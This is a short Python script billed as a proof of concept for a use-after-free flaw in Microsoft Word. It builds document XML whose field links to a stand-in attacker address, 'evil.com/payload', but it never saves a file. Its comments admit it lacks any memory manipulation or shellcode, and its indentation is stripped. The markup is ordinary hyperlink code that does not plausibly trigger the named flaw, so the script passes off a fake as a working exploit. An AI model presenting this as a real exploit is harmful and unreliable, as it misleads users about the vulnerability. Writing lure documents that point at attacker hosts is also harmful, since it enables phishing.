The following code is for security research and authorized testing only.
python
# CVE-2025-59222 PoC - Use After Free in Microsoft Office Word
# This is a conceptual PoC demonstrating the exploitation approach
# Actual exploitation requires a specially crafted Word document
import struct
import os
def create_malicious_doc(output_path):
"""
Create a malicious Word document that triggers UAF vulnerability
in Microsoft Office Word (CVE-2025-59222).
The exploit works by crafting a document with specific object
references that cause Word to access freed memory regions.
"""
# DOCX file is essentially a ZIP archive
# We need to craft specific XML content that triggers the UAF
document_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
<w:p>
<w:r>
<w:rPr>
<w:u w:val="single"/>
</w:rPr>
<w:t>Click here to view content</w:t>
</w:r>
<w:hyperlink r:id="rId1" w:history="1">
<w:r>
<w:rPr>
<w:rStyle w:val="Hyperlink"/>
</w:rPr>
<w:t>Malicious Link</w:t>
</w:r>
</w:hyperlink>
</w:p>
<!-- Crafted content to trigger UAF -->
<w:p>
<w:r>
<w:fldChar w:fldCharType="begin"/>
</w:r>
<w:r>
<w:instrText xml:space="preserve">HYPERLINK "http://evil.com/payload"</w:instrText>
</w:r>
<w:r>
<w:fldChar w:fldCharType="separate"/>
</w:r>
<w:r>
<w:t>Click me</w:t>
</w:r>
<w:r>
<w:fldChar w:fldCharType="end"/>
</w:r>
</w:p>
</w:body>
</w:document>'''
# Note: A real exploit would require precise memory layout manipulation
# and shellcode injection through heap spraying techniques
print(f"Malicious document would be saved to: {output_path}")
print("WARNING: This is a conceptual PoC for educational purposes only.")
if __name__ == "__main__":
create_malicious_doc("exploit.docx")